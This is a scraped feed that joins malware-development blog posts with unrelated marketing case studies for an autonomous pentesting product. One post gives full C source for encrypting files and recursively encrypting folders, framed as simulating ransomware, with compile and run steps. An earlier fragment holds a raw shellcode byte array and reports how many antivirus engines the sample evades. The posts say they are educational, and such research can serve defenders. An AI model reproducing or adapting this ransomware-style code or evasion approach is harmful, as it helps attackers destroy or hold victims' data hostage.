0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};

As you can see, for checking correctness, also added comparing and printing logic.

demo

Let’s go to see everything in action. Compile it (in my kali machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 10 x64 v1903 in my case):

.\hack.exe

cryptography

As you can see, everything is worked perfectly! =^..^=

Let’s go to upload this hack.exe to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/19fd0084bd8b401a025ca43db4465c49e3aa51455483eeb0b3874e5991d6a022/detection

As you can see, only 21 of 71 AV engines detect our file as malicious.

But this result is not due to the encryption of the payload, but to calls to some Windows APIs like VirtualAlloc, RtlMoveMemory and EnumDesktopsA

Shannon entropy for first sections:

cryptography

In summary, RC6 encryption stands out as a really strong and flexible encryption algorithm, providing a multitude of benefits in comparison to alternative algorithms. RC6 encryption is commonly used to protect sensitive data, including financial information, medical records, and personal information.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

I often wrote about the results of my research here and at various conferences like BlackHat and BSides, and many emails and messages come with various questions. I try to answer questions and consider problems that are interesting to my readers.

RC6
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry

How a Prevailing Transportation Company Modernized Security with NodeZero

Cyber protection is crucial for the transportation industry and the supply chain because it ensures the seamless flow of goods, prevents disruptions, and preserves the integrity of critical data essential for global commerce. Horizon3.ai recently interviewed one of our transportation and logistics customers that is deeply rooted in the fabric of American commerce. As a major player in the national supply chain arena, the customer continues to forge an excellent reputation through their innovative supply chain solutions and commitment to environmentally conscious trucking practices. Embracing innovative technology, they continue to optimize their logistics operations and ensure the seamless movement of goods while reducing their carbon footprint.

In tandem with their commitment to sustainable logistics, they also remain vigilant in safeguarding their cyber operations against evolving threats. Implementing robust cybersecurity protocols and investing in state-of-the-art technologies that help find threats, fix weaknesses, and verify fixes before they are an issue is paramount. This also allows them to fortify their digital infrastructure to protect sensitive data and ensure uninterrupted operations. By prioritizing cybersecurity measures, the customer not only secures their own network but also upholds the trust and confidence of their clients, reinforcing their position as a reliable and forward-thinking leader in the transportation and logistics landscape.

Mission:

Addressing their customers’ transportation requirements and needs by offering transportation services around the world.

  • Year Founded: Mid 1900’s
  • Number of Employees: 6,500
  • Operational Reach: Global

Too Many Alerts, Not Enough Action

Vulnerability scanners are very good at pointing to and explaining what a vulnerability is, but often lack actionable insights. This leads to an abundance of alerts while also potentially overwhelming teams and impeding effective response. Our transportation client discovered just that. Their existing vulnerability scanning and management tools were insufficient and highly time-consuming, leading to their security teams not knowing which issues were a priority and needed fixed immediately.

The tools created a lot of noise and led to alert fatigue, explained Henry, one of their Cybersecurity Analysts. The scan results mostly pointed to proof of concept (POC) vulnerabilities that β€œweren’t even
things that could be actively exploited,” he explains. These tools often operate by scanning the client’s setup, cross-referencing it with a list of vulnerabilities, and highlighting disparities. However, this approach lacked the essential depth and sophistication (or proof) essential to know what to fix first, requiring their team to spend time researching each vulnerability and how it relates to their environment.

Moreover, it failed to enable them to see and tackle the most critical issues foremost. Henry stresses that beyond identifying vulnerabilities, β€œunderstanding what elements in our environment
that are exploitable and having evidence of how these vulnerabilities were exploited [proof] is crucial.” This information is key in effectively prioritizing issues and important in determining which ones to address first.

β€œI keep going back to the actionable proof, because that has really been the value for us.”

Vulnerability scanners often offer valuable information but fall short of actionable items for security teams to prioritize and fix. They are great at listing which vulnerabilities exist within your environment, but lack the clarity, explanations, and proof required for action. β€œIt was hard trying to communicate that to our team,” Henry adds, saying that β€œdespite the need to take immediate action, our lack of a clear and actionable plan from our vulnerability scanner left us uncertain about how to prioritize the identified issues and which items needed addressed first.”

Happy Cybersecurity, Means Happy Vendors and Clients

Being a leader in the transportation and supply chain industry, protecting sensitive customer information, proprietary logistics and inventory details, financial transactions, route plans, shipment schedules, and operational and communication data is extremely important in maintaining the efficiency and security of the entire supply chain network. Vendors and customers want to know that their sensitive information is safe from cyber criminals and possible cyber-attacks, and that the company has their back. They want to know that the company has their best interests at heart and takes cyber threats seriously by using a proactive approach and maintaining cyber resilience.

How does a company do this? One of the most effective ways to ensure an organization’s digital infrastructure is protected and resilient against cyber threats is by implementing an autonomous pentesting solution across their entire environment. Doing this involves integrating tools or platforms that constantly conduct regular and ongoing security assessments, while also falling in line with regulatory compliance standards. Our client understands the need to shift from their current scan and patch (traditional vulnerability scanning tools) mindset and move to autonomous security solutions that Find, Fix, and Verify remediations/mitigations immediately and continuously.

Additional to building a cyber resilient digital realm, Henry states that easy and direct access to the precise proof of exploitation is instrumental and allows for immediate sharing with peers and vendors. β€œHaving that proof comes in really handy when sharing with our vendors to say hey, this wasn’t detected [by their software] and is there anything we can do to modify our Indicators of Compromise (IOC) or our Indicators of Attack (IOA) so we can detect this activity in the future?” he adds. Having direct access to this information allows a client running a continuous pentesting solution the ability to find holes in their current security tools and enables them to contact their third-party vendors to fix gaps and harden security.

Enter NodeZeroβ„’

Our client wanted to get away from basic vulnerability scanners and adopt something that emulated attacks across their environment. After doing open-source research, Henry and his team ran across NodeZero on LinkedInβ„’ and started watching Horizon3.ai videos on YouTubeβ„’.

What impressed him the most was that our

β€œCEO was very active, and he knew the product very well, which really stood out.”

So, they booked a demo.

Henry mentions that some of our competitors were reluctant to schedule a Proof of Value (POV), and that our onboarding/POV process was transparent, which was the main driving factor for going with Horizon3.ai. Furthermore, initial real-world impressions highlighted that the NodeZero interface was sleek and easy to use, especially when compared to traditional manual pentest and vulnerability scanning tools. Running a pentest was β€œquick and there are multiple methods for the reporting, which is really valuable to us” he mentions.

Not just for the Vulnerabilities

Henry says that NodeZero has β€œeverything, from the reporting to the one click verify, being able to quickly identify if we remediated this or not [vulnerabilities],” adding that, β€œthose things really help outshine some of the other competitors.” NodeZero allows customers to see a prioritized list of vulnerabilities, proof of exploitation (if available), and highlights notable events to enable customers to fix what matters first, and to verify those fixes.

NodeZero also provided detailed attack paths that enable customers to walk through how an attack could be carried out through the Eyes of an Attacker, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment. He says that everything NodeZero provides is β€œreally, really helpful, and showing the top weaknesses in our environment with proof of exploitation so that me and my team could manually run the commands was really impressive.”
Furthermore, β€œthe fix actions report is super helpful because I was able to attach it to a ticket and send it off” saving Henry valuable time from calling multiple people and walking them through how to do fix the issue and remediate the vulnerability. NodeZero reports not only give the customer step-by-step instructions, but also provides multiple options to fix the same problem. β€œBeing able to mitigate this in multiple ways really cuts down on me having to do research on the back end,”
he adds.

Filling the gaps, Hardening policies

After the first few pentests, Henry mentions that the results weren’t too shocking, especially when NodeZero found multiple weak credentials, as they had just done a pentest from another vendor a few weeks prior. However, after the third week of using NodeZero, it was able to escalate its privileges to become domain admin, effectively taking over the domain because a temporary account was created with default credentials. He was surprised by how quickly NodeZero was able to β€œshed light on the issue and provide immediate remediation instructions.”

Additionally, this issue prompted his team to not only quickly remediate but help fine tune their parent company’s current Identity and Access Management (IAM) policies and guidelines, in addition to their own. Although the temporary account was created by a systems admin, NodeZero finding the vulnerability allows for visibility and mitigation to ensure compliance with System and Organization Controls (SOC) and future audits. He also mentions that β€œthey [him and his team] got to actually see domain admin compromise and what that would look like, as well as what sort of things [downstream impacts] would be pivoted into from obtaining those escalated privileges, which was very interesting.”

This example illustrates that, even if a company thinks they are complying and adhering to their current policies, there can still be gaps and credentials that get through the cracks. Henry emphasized that they thought they were doing a good job by following established IAM guidelines and policies. However, when NodeZero was introduced into their environment, they quickly discovered β€œthat’s not necessarily true and some things like service accounts and similar had slipped through the cracks.” Furthermore, he goes on to say that these types of IT department and admin level accounts β€œwere not subject to quarterly password resets, so NodeZero helped us figure out those accounts, keeping us in the know.”

Reducing Cost, Increasing Business Operations

As many of our customers have highlighted after switching over to NodeZero from traditional annual and/or manual pentesting is the significant reduction in per pentest cost. As Henry describes, β€œwe are well below the cost of just a single annual pentest and are getting way more pentests per year, which is somewhere near 90% cost effectiveness and that NodeZero has more than paid for itself already.” He goes on to say that β€œonly a few things from our previous annual pentest were solved because the report wasn’t good [lacked effective fix actions] or not many people were tracking it, so there just wasn’t a lot of helpful information.”

As a result, NodeZero has helped Henry and his team accelerate, justify, and steer their company into additional cyber operations that they otherwise wouldn’t have been able to do with a once-a-year annual pentest. β€œThis not only helps us reduce risk, but has also helped us make better investment decisions,” he mentions.

Even if you’re not going with NodeZero, I would highly recommend that you do.

NodeZero revolutionizes the landscape for organizations seeking an autonomous pentesting solution, empowering a proactive and preemptive strategy to illuminate how an attacker sees your environment and reinforce resilience against cyber threats. Henry says that β€œeven if you weren’t going with NodeZero, you need to get some kind of attack emulation exercise going, because we didn’t realize that we needed that until we had it.”

Subsequently, Henry and his team realized how valuable it is to see things from an attacker’s perspective, as well as gaining a lot more perspective into their defensive and offensive posture. β€œWe like seeing how NodeZero moved like an attacker through our environment, as well as the narrative and context that it provided, allowing us to actually determine what is more likely to happen, and more likely not to happen,” says Henry.

Some organizations don’t realize the value of continuous pentesting until it’s too late and they have a breach or are paying millions of dollars in ransom. For the transportation and supply chain industry, recognizing this importance is critical as it helps proactively identify and address vulnerabilities, preventing potential disruptions, financial losses, and safeguarding the integrity of their intricate and interconnected operations across the globe.

Download PDF

The post Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry appeared first on Horizon3.ai.

Malware and cryptography 24: encrypt/decrypt file via Madryga. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Since I’m a little busy writing my book for the Packt publishing, I haven’t been writing as often lately. But I’m still working on researching and simulating ransomware.

In one of the previous posts I wrote about the Madryga encryption algorithm and how it affected the VirusTotal detection score.

At the request of one of my readers, I decided to show file encryption and decryption logic using the Madryga algorithm.

practical example 1

First of all, we do not update encryption and decryption functions:

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

Then, next piece of code implemented encryption and decryption functions for data using a simple block cipher madryga_encrypt and madryga_decrypt. It operates on the data in blocks of 8 bytes, with a padding mechanism for the case when the data length is not a multiple of 8:

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

Let’s break down the encryption code step by step:

  • It takes a pointer to data and its length data_len.
  • It converts the data pointer to a uint32_t* for 32-bit (4-byte) block processing.
  • It processes the data in blocks of 8 bytes using madryga_encrypt function.
  • The loop increments the pointer by 2 to move to the next 8-byte block.
  • If there are remaining bytes (not a multiple of 8), it pads the remaining bytes with 0x90 and encrypts the padded block.

Finally, I implemented file encryption and decryption logic:

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file with Madryga algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/01/16/malware-cryptography-24.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>

#define ROUNDS 16

typedef uint32_t u32;

u32 key[4] = {0x00010203, 0x04050607, 0x08090A0B, 0x0C0D0E0F};

void madryga_encrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    sum += delta;
    v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  }
  v[0] = v0; v[1] = v1;
}

void madryga_decrypt(u32 *v, u32 *k) {
  u32 v0 = v[0], v1 = v[1], sum = 0xE3779B90, i;
  u32 delta = 0x9E3779B9;
  for (i = 0; i < ROUNDS; i++) {
    v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    sum -= delta;
  }
  v[0] = v0; v[1] = v1;
}

void madryga_encrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_encrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_encrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void madryga_decrypt_data(unsigned char* data, int data_len) {
  int i;
  uint32_t *ptr = (uint32_t*) data;
  for (i = 0; i < data_len / 8; i++) {
    madryga_decrypt(ptr, key);
    ptr += 2;
  }
  // check if there are remaining bytes
  int remaining = data_len % 8;
  if (remaining != 0) {
    // pad with 0x90
    unsigned char pad[8] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, ptr, remaining);
    madryga_decrypt((uint32_t*) pad, key);
    memcpy(ptr, pad, remaining);
  }
}

void encrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_encrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

void decrypt_file(const char* input_path, const char* output_path) {
  FILE* input_file = fopen(input_path, "rb");
  FILE* output_file = fopen(output_path, "wb");

  if (input_file == NULL || output_file == NULL) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  unsigned char* file_content = (unsigned char*)malloc(file_size);
  fread(file_content, 1, file_size, input_file);

  for (int i = 0; i < file_size / 8; i++) {
    madryga_decrypt_data(file_content + i * 8, 8);
  }

  fwrite(file_content, 1, file_size, output_file);

  fclose(input_file);
  fclose(output_file);
  free(file_content);
}

int main() {
  encrypt_file("test.txt", "test-enc.bin");
  decrypt_file("test-enc.bin", "test-dec.txt");
  return 0;
}

As you can see, for test I just encrypt file test.txt and decrypt it.

demo

Let’s compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

As a result, two new files test-enc.bin and test-dec.txt were created.

cryptography

cryptography

cryptography

As we can see, everything is wokred perfectly! =^..^=

practical example 2

But, in the wild, ransomware do not always encrypt the entire file if it is very large. For example Conti ransomware used partial encryption.

Also ransomware recursive encrypt folders, it might look something like this:

void handleFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("Error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      handleFiles(filePath);
    } else {
      // Process individual files
      printf("file: %s\n", filePath);
      char encryptedFilePath[MAX_PATH];
      sprintf_s(encryptedFilePath, MAX_PATH, "%s.bin", filePath);
      encrypt_file(filePath, encryptedFilePath);
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

As you can see, the logic is pretty simple.
The recursive decryption uses the same trick:

void decryptFiles(const char* folderPath) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // Recursive call for subfolders
      decryptFiles(filePath);
    } else {
      // Process individual files
      if (strstr(fileName, ".bin") != NULL) {
        printf("File: %s\n", filePath);
        char decryptedFilePath[MAX_PATH];
        sprintf_s(decryptedFilePath, MAX_PATH, "%s.decrypted", filePath);
        decrypt_file(filePath, decryptedFilePath);
      }
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

demo 2

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

cryptography

cryptography

cryptography

Let’s check a decrypted and original files, for example applied-cryptography.pdf.bin.decrypted:

cryptography

As you can see our simple PoC is worked perfectly.

Of course, the examples I showed still cannot be used to simulate ransomware as needed. To do this, we still need to add a blacklisted directories and we need to add a little speed to our logic.

In the following parts I will implement the logic for encrypting the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

Madryga
Malware AV/VM evasion part 13
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Airiam: Turning Cyber Resilience into a Superpower

How Airiam Cut Vulnerabilities in Half

Airiam is a pioneering managed resilience provider on a mission to ensure its customers minimize cyber risk and maximize business productivity. Airiam works on the frontlines of cyberattacks to inform their solutions while ensuring customers are hardened against cyberattacks and have the built in resilience to bounce back after an incident. Additionally, they aim to build a best-in-class resilience operations center (ROC), empowering their clients with the tools to face any cyber incident and the confidence to β€œstand back up from any cyberattack.”
As Art Ocain, Airiam’s CISO & Strategic Alliances and Incident Response Product Management Lead, puts it:

β€œResilience has become our story and our superpower.”

About Airiam.com

Year Founded: 2021
(but formed out of MSPs and MSSPs that are 20-year-old companies)
Geography Served: Anywhere in the US remotely; Airiam also has offices in Central PA; Rockville, MD; Salisbury, MD; Milwaukee, WI
Number of Employees: 140
Airiam’s incident response team has been on the front lines with consistent ransomware incidents in the last 5 years. With over 75,000 hours on high-profile incidents, this makes them one of the most experienced MSPs/MSSPs in the incident response space. Incident response has shaped how Airiam approaches IT managed services and how they design their service offerings with a tilt toward cyber resilience and business continuity.

Facing a Pentesting Skills Shortage

Pentesting is central to assessing a client’s resilience to cyberattacks and was part of Airiam’s core managed service offering. However, the company often found itself in a battle for talent, struggling to retain pentesting skills in-house. Art explains: β€œWe would hire a pentester and they would leave, then we would hire another pentester, and they would leave…often, we would be asked for pentesting services, but we wouldn’t have someone immediately available in our team, so we would have to outsource or recruit.”

Airiam also needed pentesters to test their own environment, but that lack of skilled resources made it hard to maintain a consistent approach.

When it came to client vulnerability management, Art found that most of the available tools were basic and time-consuming. They were simply scanning the client environment, comparing results with a vulnerability list, and flagging the discrepancies. This lacked the detail and nuance needed to convince clients to act on the results quickly and did not empower them to fix β€œprioritized” issues first.
Art shares:

Airiam: Vulnerability Management Projects

β€œIt became our problem to prioritize the results and then figure out what to do to remediate…we would put a remediation plan together and take it to the client… but the real obstacle was convincing the client that it was actually worth investing to solve the problem.”

Often, vulnerability scanners are not enough to help keep a company resilient against cyber threat actor attempts to target their environment. Organizations need to shift their β€œscan and patch” mindset and look for security solutions that β€œFind, Fix, and Verify” remediations/mitigations immediately and continuously.

Missing out on Sales Opportunities

The pentester shortage was having a commercial impact on Airiam,
causing them to turn away potential business or outsource to another provider. Even with a pentester on staff, that person faced a backlog of hundreds of clients and could not keep up with the growing demand for continuous pentesting.

Demand for pentesting continued to grow, with customers seeking to satisfy compliance requirements, meet cyber insurance stipulations, and provide assurance to their clients. With clear evidence of customer demand, Airiam was missing a major opportunity.

β€œI felt that pentesting wasn’t something that was really in our wheelhouse…clients were asking for it…but we were leaving money on the table…I also didn’t have the bandwidth to build a comprehensive pentesting practice by hiring several pentesters as well as getting the tooling process and reporting in place,” explains Art.

Enter NodeZeroTM

Keeping an eye open for solutions, Art came across an automated pentesting tool which he implemented as a stopgap and help bolster their β€œpentesting” capabilities. However, he felt that the tool sill wasn’t meeting expectations of continuous pentesting, and limitations were holding them back from selling this service as a formidable ally against cyberattacks. So, when one of Airiam’s board directors mentioned NodeZero from Horizon3.ai, he booked a demo.

β€œThoughtful” pentesting is a game-changer

The first NodeZero demo was game-changing according to Art.

β€œIt looked amazing…it blew everything out of the water in comparison to other products.”

Art was particularly impressed with the work that Horizon3.ai’s attack team does to ensure the product is always at the cutting edge of the threat environment. He said that β€œthe idea of the attack team keeping everything completely up to date when there’s a new vulnerability [CVE] release while also doing their own POC and building it into the system” is a game-changer. β€œYou’re not going to see other products turning a vulnerability into an exploit in less than a month…that blew me away.”

Art went on to describe why the β€œthoughtful” nature of NodeZero is another key benefit: β€œNodeZero undertakes a real attack instead of just a β€˜hail Mary’ of throwing everything in the world against the machine; it is very thoughtful.” NodeZero empowers customers to make thoughtful decisions through its Find-Fix-Verify loop and continuous pentesting ability.

Airiam: Prioritization & Fix Actions

Art was also thoroughly impressed with NodeZero’s vulnerability prioritization features, explaining that β€œsometimes you get a lot of vulnerabilities listed that aren’t actually exploitable in your network…NodeZero re-orders things based on relevancy and how the attack is carried out.” NodeZero’s detailed attacks paths allow customers to walk through how an attack could be carried out through the β€œEyes of an Attacker”, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment.

Initially, Art ran NodeZero against Airiam’s own datacenter, which hosts several of their clients, and compared the results to the previously tested automated solution. He found that NodeZero’s results were more specific and relevant to his environment: β€œNodeZero was a lot more thoughtful, and its fix actions are incredible.”
NodeZero’s clean and concise reporting also proved a hit with Art and his team, as it requires minimal work to make reports client ready.

Airiam and NodeZero: Pentesting as a Route to Client Revenue

Since implementing NodeZero, Airiam has deployed it in various ways to deliver great customer experiences and drive adjacent projects. These include:

Complimentary client scanning and project identification: Airiam undertakes a complimentary NodeZero scan that delivers a comprehensive, prioritized vulnerability report. Airiam’s exceptional professional services team devises a remediation plan, with the NodeZero report providing the evidence to convince customers that investment is needed. In this way, Airiam is developing new revenue streams and stronger customer relationships.

Providing peace of mind for clients: Airiam provides scans that help customers meet external compliance requirements, assure partners, and satisfy internal audit and compliance teams that the business is resilient to attacks.

Bundled into MDR Services: Airiam includes NodeZero in its AirGuardβ„’ Plus flagship managed detection and response service, and it is a core feature of the company’s AirAuditβ„’ pentesting-as-a-service (PTaaS) solution. This solution is for clients who are not already managed by Airiam. It’s comprised of a NodeZero pentest and custom-built remediation plan and often proves to be the catalyst that leads to further business opportunities.

A 50% reduction in outstanding vulnerabilities

Airiam: Client Insights

Since deploying NodeZero in its own managed client environment, Airiam has achieved a 50% reduction in outstanding vulnerabilities across their managed customer base. Some of the lower-level vulnerabilities that remain are due to legacy networks or applications, meaning that clients are unable to easily address them. However, in this case, NodeZero enables Airiam to show the client that it has identified the low-level vulnerabilities and suggest defenses such as segmentation so a known vulnerability cannot be exploited.
Art also highlights how the recursive nature of NodeZero means it’s an excellent counterpart to human pentesters, explaining that β€œhumans will see a vulnerability, focus on how they can exploit it, and how that exploit can be stopped, but they won’t look at other routes to exploiting it…NodeZero will keep trying alternative routes to the target.”

He also sees Horizon3.ai’s attack team as a real differentiator. He pointed out that β€œseeing relevant content where they are working on new initiatives is the superpower to me…it’s not just a robot…you have humans writing exploits and that’s where it’s real.”

β€œThink of NodeZero as a Resiliency Test for your Organization”

NodeZero in and of itself is a gamechanger for any organization looking for a continuous pentesting solution that enables a proactive and preemptive approach while building resilience against cyber threats. Partnered with other Managed IT solutions such as Airiam, NodeZero becomes an unstopped force.
Art recommends a bold approach for companies evaluating NodeZero:

β€œStart using it…don’t just run it in some demo network…use it in production on critical systems… use it on client systems…the more you use it, the more you love it.” He goes on to advise anyone doing a trial to, β€œroll it out widely…thinking of it as a resiliency test for your organization…and if you don’t like it, you can get rid of it…but I’m pretty sure you’ll like it!”

Download PDF

The post Airiam: Turning Cyber Resilience into a Superpower appeared first on Horizon3.ai.

Revolutionizing Cybersecurity: F12.net’s Journey with Autonomous Penetration Testing

How an MSSP Turned NodeZero into a High-Demand Service Offering

Canada’s leading managed security service provider, F12.net delivers reliable and efficient technology solutions to a range of small and medium sized enterprises across Canada. F12’s approach is based on referenceable architectures, elite certifications, and best-inclass cybersecurity. One of the many services that F12 offers is penetration testing. This ethical hacking service helps organizations verify their security approaches, gain valuable cyber risk insight, and demonstrate their security due diligence.

F12.net: Today’s Digital Economy

About F12.net

Year Founded: 1992
Number of Acquisitions: 14
Number of Locations: 11
Geography Served: BC, AB, ONT
Number of Companies Who Have Joined the F12 Family: 14
Number of Employees: 280
Certifications: SOC 2 Type 2 Certified
Ratings: 97% Customer Satisfaction Rating and Award-Winning Support

Underwhelmed with red team exercises

As a large MSSP, F12 regularly undertakes red team exercises to assess its own defenses, and in the past, appointed third-party penetration testers to do the work. Calvin Engen, Chief Technology Officer (CTO) at F12 shares: β€œEvery couple of years we would change who we used for our own penetration tests to experience a different skillset. And so, as those years went on, I just felt that we were not getting a very good work product at the end of the day.”

